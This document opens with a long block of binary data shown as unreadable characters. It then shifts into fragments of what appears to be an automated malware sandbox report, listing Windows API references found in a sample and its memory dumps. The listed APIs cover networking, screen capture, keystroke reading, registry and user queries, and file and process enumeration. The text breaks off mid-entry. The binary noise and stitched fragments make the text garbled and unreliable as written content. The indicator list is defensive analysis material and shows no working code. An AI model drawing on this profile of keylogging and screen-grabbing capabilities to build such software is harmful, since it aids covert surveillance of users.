å3qÁTÆ«×Óò[&·Úüæ4Qg÷hn{D;÷ö>Æä^Îl£Ì®ÛýìÇOgòßAÕHs©·Ãx÷®ÜaÛ~yöÜøg8?kÜÂ|íêìµUÂyË"ÕesMñ´GÃ@NáGM"þZà'ü§jÄG6aÒY®¡ÚÌdúejJôk°ª¯¹<'É¹8{#TíA"0¨µ_ëì §i_ÿGõÝÅÿæP!TÉâ·)÷Í¡wC¬¡hN%bäTû¢ñÊVóéi1hSÑÂIm¸ÅR Í>ºÉH4p¢¦BÞÒ¸%µ9éÙ0(Å)p õ\=/D#ÝøÖìÄ}¸è:¢[Fõ%Ø½y$ÞEû©\K¦}6qiº¤+Eã*±nØn¥-®³I(Öî,ö&úO<µØ³éÐùñ»ûÔüÃ$Ê´MáÕåÁ#IÇ{ÎeT&cpªáLdysYéÈº"¾aNySY+dDô¿)N¬Nç âWT+XR|*JYÄTïC}W5³wzÉHö|· _Å`ú"ÊLJÖSOïÔ¦Ò Á ÅØÃJÊhôµíFªcV?o½Â(>Û{B±ìÑ+N¨þtôúÞ=hj¶¶¹57ÜëZy´¹\BÞmpn7¬AwåÅLÜké ½2÷*§¯¾Y¬Ð&B]Ü#FY½e"£J}êUÜå$6o¿Ù¯^¹ÊRURS¡÷Ó`¨(ýKõýË½íUe8P×Ñ\ÙÀó¹ª¨K_êÏôÚ¾©ÑPÅ/ð:ÃU¼b³î¤òáD=çSÃ0~´ÌçoòÎmñ²|@_dTñ0HDt@ãq¦Ò{°ÆuùÞ.\ëiÐÃubÿmg¸ r9*.¢4gëñyö×¾@b¥b3³£UB=¹LfØ½ )¦Y_7Ö6îy¨éê¥\3¶búB¨Ac;Mù=õÌÑ´°òTp:NëÂÄìukô7íµ¦(ª@Ì3¶rû?53Íeê·'$ ¤ÁÌèB:ÊWÚËPbÅÿâXôò$4`epN<Åt)úÊ#å`³§ÈP2Üõ ÓòåL®ö¹=ò§bD\#e9^DÁRKwN<Îí.¸ålxÌI~õ±Ñçb+[z¡òôt·/Gß9Òõù*àÂ´ÅÛ?]¦mêÊ7}·W7VÃéÛ&fSoÞ-Gî.Ò·}T-øëçgëP{åjvFgIÂ]#¼ìåL÷Eî;[CO"ÍVY8?ÐÐBê7ÿØÚT3`;Çh¶VVvyÍÝãFé[ÓE¶FJý¼¸É»&" ê5SÔ4x^U¯èÏéDÅã¨èÙ_36õ;yS§Û.Âº^ëeøiudËÇ#ctAmð ÙE~Ô¼Vè\¼)ÖäÞ0ª4îPAYQöwÐäÅ¿<¬òÒ¸±y·)|×guC}ûpa~ì?XÒ¥xö¿ídKåj©ìnxT¿_Ä¬ÛDÝRø¦îµØ å¨yêÚK+_|waixTu+þv ÓH=ëmA9üh]jéWÿ¬ÓÌHc² ÓKbÂ¿>¡öCCìnPÈ=°w¸x#RÔ½U=ò>¾´8;¸å+HLÇCþ©AÀX.¾¦§:áO};â3]Kç¹c²S"Û|A¤U®Êüñz bÑcqÁMÙ$ËâóBÀWñãEÈhÖçì;kÅmªÉNðµ¶fÓ{f$dY?½ÊMÖ¦`?¬1Ñ}QEhdµ2TLnu£}ÏÐtºêþÞ;lþt´~PvÊ=Q¾ïË¥ÚõTÃñ3[4y²329¥5¥¯ÍÁÄ¯Òî*:÷5¢ö^ÜW$WL±Pjý@MAKÇ_ÓÉcøk7>ì\¤A\¤oÒ>Z íâ/Emª¤]Nk½S`C÷PlÄç¨iãTàFöüÇ]äÒÇ|¶<ÅwÆÄ_ÀòæéËÖs2A5¾]Á`6híøicëóW5Il7z«B[Þ»R¶äLZHAkMxÔUhÄÊKcÔ¦¬;ÿä¥Òfó¡â¶xHÇöÉÏgFÉb§EVíbÆ²CeV«õÙ)«¸ýQÚ>î¯0V(+³àX¼ûìÌ®«±Ï)²%Kÿ¡¾°ÇiÉhËàÎ-þ2HÀàPä¿ù=C\þ_WXp`ãÛ¯ÐÃwÎåØ2Êä¼;f^¼é5$ån¢ÑM¢üëÔ¿Ý1Wl.JþA´7p´qA£~L+õÛNæTkmr3[í%ðí²}é"T·ñWGã%H×ôÞ0±O0«1Wí>?ë*¢?{P^Bd1`$tIníqà®bãSÍYxÞÜûM¾R½É¦²þMDÔFu#ôÃ]JðÎô@BªUn\Ñ'HùÉÂÈ©¢Jpg&h? Ã(¾d%¡@içwµ;²²8>+XmúX¸~<¢¹éÎh#÷bnúK¿JÜÒ´ðsU>ÏOÛõ2önÈÜ8úgG$±(liXíLû*¯W1]6kÎ89J§7£¯ÚÔí¢Zxv¼W3'Èi®Ú5:ÎaUP CJø02Ph*p©Gà³~ØR©ì·fÚYPzÊ¨sÇç«#1§6Üôß·ÀÑ yÑ¶ºçæ°7§/#6S*µöm·SùzË{U:#ÁèÔ÷öõ½Çµà¶RëwK$aúØ@Þi@=¼¹ÃG?X5ð>å}(µÒôX@r7¤ÙôõÖ=_ K^Ú«õrÙéàÉ;xÞÌGæÕ«¹haÐtLÊÕéÍ×ÿ,ü&|BùÅU¬!À\óÞú°pj²Åñã=IÌ^¥¢9ÌßÎ5fßÔ×ilâ\æQµgT!©!K=q2c\ÞÜ?ô,øâ 3ËaGÁ¡ót1q^ìC¢íKÿÂ^#V²ßRÛYö¿©Aó+IÕ¬çþ±ß4Pà×ýÏ9]q¬õÝ{BçlÂÕàbÎn¼ªV)ïøjÞýåÜô¾·%Ïw2ÇZ±ôºñÕ&þãÊäõQº¯=0GH! #²l0à¶Jíá#Ü»ü+4~NÊa×P@n7Ûl%ÕÏÛcWJQi½ðEßúeíI3·ê(Ôòùwæf Å± !Î3+>·_/ÿä³OâáËcXòäZmÂÉñq§XLÎælïº 2jÙ*¢ééª¨ÒÄ;Ul¸ËÁâ3ýâ\Eó£ÊIÊV?p·'#\n:.DZ1D¿ðö¬-Ð²ÐÇ%7#¬5åùZqñ´TÕ]Ä,7ÎBTçtØt7Y,ëzb(:~Z,åíq¬IY»;xB~~NPþ°üîD²Ó×Ýgs®óx9áÌoyN(JÖúº^=32¨®ÆTÊX÷pË$Ô÷ZÌ?^%rê°/K´Þb%vàçQX{Ü[BçV/§qì&B&Ú#7&Å_ü²©ÞRRn)ä9ówtU¥{FÇÏgó^¯¾ºÌ¤êtwtß@:¡6æ´ÿÐÊÙC@&`ÕËóã©Þ.FÒÃ sp#Ó ¶OIë!xîàf½å^¶IÊíÉ¢LáìB Ç[Âº¸+Òlö«3LrTPä«?n.|ÆK¢g>)SXMkR§{åAøÛÞ¦÷éÒÈVkZ±Ô°_Ú{rOÓóÀ>fèH"9¦ª3>ÛÝ°Ü+¾8U¤Ày$524Y¥uxM^ú$6³#dü°NÏGÒÔr·9qq^æQw5Ð!ÀVyÂ±fÍ#¸ Ü7ðNÚêUi¿Ì¯ÆöTÅ>1~eO>gV^AÖ«u^År3ÕhÐ$6à+M À0Ûl8å¹4¶8î®-Ç5´häõ¢©U`æ_T¢¨ øñ[ûïÌ!é?ï½¬§áü!ÞJ.È\_úk?ËÁ×:÷Â½wýùýïùÀºlüÝóS$Þë9¿ì·å)":ns%ö²'RÑ[tS¸AÝºÔ×Ï9÷çtbnöô:öSBr¸3s·u´uà¾lè#¯eò2µSÊMNH'Í©íA?%©CÔ+dqk¤ûc5VÞx½Kå·²Ñ}}SUûu]ÔåºÞÀöÂuCxÞc/v6MµÄqëË^\¶CT2×f¬7©0NWÕ²Ã6Ú¸|ßÜÏD¿¤¸Xë5Îc"9jùI6e0éoJç HeÚèI¼~Òý¬.ÁcÙ+kLß"*Èøaã ±I÷ñ$pn.¨¿³1¡N¼9µK·ËÓì3×Ã¢`S½ùË¨yÝ-Ù£è?Sº¾Ì_Õì± [üª<áH\(n3öªÍñ¼0Õ¨G8A$ã¯á;ËB/V`8×j¤ââÜ +7ßOûVKDÿlÒEôÇîu #à¬Íÿ¸p÷G¯{ËêqµÍOP-¾#;bKyû1e[ýÕü£¥¤¢»/Qo´ü½XlG.!Û!Ê¶Q«(>Chë.ËèIF«ê¢ü>ëçöÂjË¯?cÖ°hØ%P×¨UBÜµ?¿NÞQ¹Ü/¤ùÙ0ÔçÕo{«á5é¦Õ!ºÞñy¯Èñø×UáÙµ¢(]_ê¿$"ñ½çAÍÆpH &éyP¶MË Ø_ÛÏ_L¸ÚÔ:rÝwW2{9"ÌOþÖ¯¹6a@6Ü÷Ô#ÉCÒ¿ºÃ+ÁÐþìÈÔðñ8YMÍ´>hAðê¤?9Ü5æôrÈ[¯¦<=_`Yº_ó+}z×N¤^q C¹ÞÔRIy}³íÖhñVü·¡¿ÏjúÀ&ô¨ûn{YoUÏfÎTÏuýÍÀ°÷Efe;»ÝçQql¼Á÷G ÈHú«ßN7m'4?mplà¾rñmÍîzÈ¨<åµßR1Vl&EeÅx>pù¯<Ãß^%æjÝ¦F7çñÄ6M×#pmç°¿íÌ{9.¾=¼8¦JþTtÓ}¾Ë@¢Sâ@&÷YÖGK¢WTKÿ9è*è*5lE!D¢)@Ç¡ïÒÎØúôé)(Iv7Øüà¬ÛD¬3cÛÔÍà»Ó4C¿ï©³N~eÕ0:Àcp !¶¥ÿgÔàØìè`ñé±xâËDB·gkÊuÑÖxRÓêÏ»Èá¨d¬ HèÄ®9Ú1±[aº¯ÚËîØbgª¼Ùö¹úD¬#$ÿ)ê×c;Â¨¶Ú²±¶ÐÊC>ôì}®¸LÒ}>AjÉm·¿Tª²¡^?¼"ìr®9ùÐÀåzU>b¸½[ª8bAöLY^¡§W ÷<"1:åyöaçð¶rµ7,¢Æ¥ôä¨ÇX¿ÿÇ9x©üiLùÂDü®ÅaºôMXäíUüú6.#¸ÚF÷H2$BÚ]8ßëÌ<)Þ/¯î;yÞ`xBÖÂ«4¾r»ùh¦eHüJòkÃöIÞÄhªâÏ^ÿx°D=º¥@®¾7IÏÞõ³mÌã3nÕd57B> ËX"-þïZìDÃçÀò²â¹YRç1ÿMF±g5¸÷ Zà+ãµ6aõ3ìµÿÝFù={Î±: q"P¿®0VDFI¥É¯=j°[Q<Ü?YÊw'Áhcv²`/p ¿@´÷íÏVë)Ë6;-××ù´ÞS8©V@ÕR)9Èiðv³¶Pás¼Q©kAÜì`Ì%$©°còuC Õ£ðjq3\¯1Ã5ö5MËHcQæUû~:°\·ËLjÎ'ï²ârÔfíGZó*9ÀmN_²¿©f¹·¥æOMH N£N?ææã«x9R6ÅÌÌ?çB÷×"(N¿åj×`TÄn*¬gîÙX||X,¾i%Ù³)ÍÇÜZ$X+èA½}x¨àÊ®]9÷IFÁ×;ð@fÅì¤§Ûüeil®@'Åúç.äcùªZZõ¦Ys)²!'÷ª|ÅmïÖ7¸ ï®.èþÝzZ¥Ë2Äñ>ÚËËªq.·ääWz}x?+-u±6sö{ªël÷÷_ÒÂY0pqë¿ÿã'J®Ù<ïo&çÍÎÀà¬R-;\¶o\5óws 'ÍØO¯áteñdåVþ¡NØHêNÈpðÒd¢#uéL9µ3"}øwáV»~þÄÂ.¹®¥2Ùßx¹j(¤7fzJô®J¹k-ñàÉÁ!X;WD¬kÚ]\e?ig'düÐ@±ö}5;Ío£3ÊÙ]0ì»eo¾kÂlR»¯fd<ö¢vFKð²ÖÂù\Sº5aÉØÐåõ0Õ9¾eé:ü¼þAê¶? Ðëp9Q'+ÀÉÆ_BwB>í1eiýî1uÓ3 &F0°ñÍoûu¶¹ÔjB ~¸)ÖIìî¥:ºXO_#Éõõð5k¿·¿3Îª2$D¶ñ<è9_J|Fæñí«5LÏ ýÇ~äàí¢{¯a©b^ä#C=«rP£Mî«.ÿGy½IÄDµv¨+P´Ò¹ì£c§ûî©áª;"; File: "PCAP")44:T582,Found reference to API "gethostname" (Indicator: "gethostname"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "WSACleanup" (Indicator: "wsacleanup"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "__WSAFDIsSet" (Indicator: "__wsafdisset"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "WSAStartup" (Indicator: "wsastartup"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "WSAGetLastError" (Indicator: "wsagetlasterror"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "inet_ntoa" (Indicator: "inet_ntoa"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "inet_addr" (Indicator: "inet_addr"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "gethostbyname" (Indicator: "gethostbyname"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "Do you accept all of the terms of the preceding License Agreement? If you choose No, Install will close. To install you must accept this agreement." (Indicator: " accept "; Source: "00000000-00007020.00000000.217168.FE14E000.00000002.mdmp")45:Tb49,Found reference to API "GetDC" (Indicator: "GetDC"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "GetDIBits" (Indicator: "GetDIBits"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "CreateDCW" (Indicator: "CreateDC"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "GetWindowDC" (Indicator: "GetWindowDC"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp, 00000000-00004104.00000002.221094.C5260000.00000004.mdmp, 00000000-00004104.00000002.221094.C5910000.00000004.mdmp") Found reference to API "GetWindowDC" (Indicator: "GetWindowDC"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp, 00000000-00004104.00000002.221094.C5260000.00000004.mdmp, 00000000-00004104.00000002.221094.C5910000.00000004.mdmp") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp, 00000000-00004104.00000002.221094.C5260000.00000004.mdmp, 00000000-00004104.00000002.221094.C5910000.00000004.mdmp") Found reference to API "GetDIBits" (Indicator: "GetDIBits"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp, 00000000-00004104.00000002.221094.C5260000.00000004.mdmp, 00000000-00004104.00000002.221094.C5910000.00000004.mdmp") Found reference to API "CreateDCW" (Indicator: "CreateDC"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "BitBlt" (Indicator: "BitBlt"; Source: "00000000-00004104.00000002.221094.C5260000.00000004.mdmp, 00000000-00004104.00000002.221094.C5910000.00000004.mdmp") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00007020.00000000.217168.FE149000.00000002.mdmp") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00007020.00000000.217168.FE149000.00000002.mdmp")46:T645,Found registry query API: "RegQueryInfoKeyA" in file "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin" Found registry query API: "RegOpenKeyExA" in file "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin" Found registry query API: "RegQueryValueExA" in file "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin" Found registry query API: "RegQueryValueExW" in file "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin" Found registry query API: "RegEnumValueW" in file "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin" Found registry query API: "RegEnumKeyExW" in file "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin" Found registry query API: "RegOpenKeyExW" in file "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin" Found registry query API: "RegOpenKeyExW" in "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp" Found registry query API: "RegQueryValueExW" in "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp" Found registry query API: "RegEnumKeyExW" in "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp" Found registry query API: "RegEnumValueW" in "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp" Found registry query API: "RegOpenKeyExA" in "00000000-00007020.00000000.217168.FE149000.00000002.mdmp" Found registry query API: "RegQueryInfoKeyA" in "00000000-00007020.00000000.217168.FE149000.00000002.mdmp" Found registry query API: "RegQueryValueExA" in "00000000-00007020.00000000.217168.FE149000.00000002.mdmp"47:T902,Found reference to API "MapVirtualKeyW" (Indicator: "MapVirtualKey"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "GetKeyState" (Indicator: "GetKeyState"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "GetAsyncKeyState" (Indicator: "GetAsyncKeyState"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "VkKeyScanW" (Indicator: "VkKeyScan"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "GetKeyboardState" (Indicator: "GetKeyboardState"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "AttachThreadInput" (Indicator: "AttachThreadInput"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "UnregisterHotKey" (Indicator: "UnregisterHotKey"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "RegisterHotKey" (Indicator: "RegisterHotKey"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "MapVirtualKeyW" (Indicator: "MapVirtualKey"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "AttachThreadInput" (Indicator: "AttachThreadInput"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "VkKeyScanW" (Indicator: "VkKeyScan"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "GetKeyState" (Indicator: "GetKeyState"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "GetKeyboardState" (Indicator: "GetKeyboardState"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "GetAsyncKeyState" (Indicator: "GetAsyncKeyState"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "UnregisterHotKey" (Indicator: "UnregisterHotKey"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "RegisterHotKey" (Indicator: "RegisterHotKey"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp")48:T61d,Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "GetUserNameW" (Indicator: "GetUserName"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "GetUserObjectSecurity" (Indicator: "GetUserObjectSecurity"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "GetUserObjectSecurity" (Indicator: "GetUserObjectSecurity"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "GetUserNameW" (Indicator: "GetUserName"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "GetUserNameA" (Indicator: "GetUserName"; Source: "00000000-00004104.00000002.221094.C5260000.00000004.mdmp, 00000000-00004104.00000002.221094.C5910000.00000004.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00007020.00000000.217168.FE149000.00000002.mdmp")49:T590,Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "FindFirstFileW" (Indicator: "FindFirstFile"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "FindFirstFileExW" (Indicator: "FindFirstFile"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "FindFirstFileW" (Indicator: "FindFirstFile"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "FindFirstFileExW" (Indicator: "FindFirstFile"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; Source: "00000000-00007020.00000000.217168.FE149000.00000002.mdmp") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; Source: "00000000-00007020.00000000.217168.FE149000.00000002.mdmp")4a:Tb22,Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "Process32NextW" (Indicator: "Process32Next"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "Process32FirstW" (Indicator: "Process32First"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "Process32FirstW" (Indicator: "Process32First"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "Process32NextW" (Indicator: "Process32Next"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00007020.00000000.217168.FE149000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00007020.00000000.217168.FE149000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00007020.00000000.217168.FE149000.00000002.mdmp")4b:T10b9,Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "GetFileVersionInfoA" (Indicator: "GetFileVersionInfo"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfo"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfoSize"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "GetTempFileNameW" (Indicator: "GetTempFileName"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "SHGetSpecialFolderLocation" (Indicator: "SHGetSpecialFolderLocation"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "FtpGetFileSize" (Indicator: "GetFileSize"; File: "448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f.bin") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00004104.00000002.221094.3F6DC000.00000002.mdmp") Found reference to API "FtpGetFileSize" (Indicator: "GetFileSize"; Source: 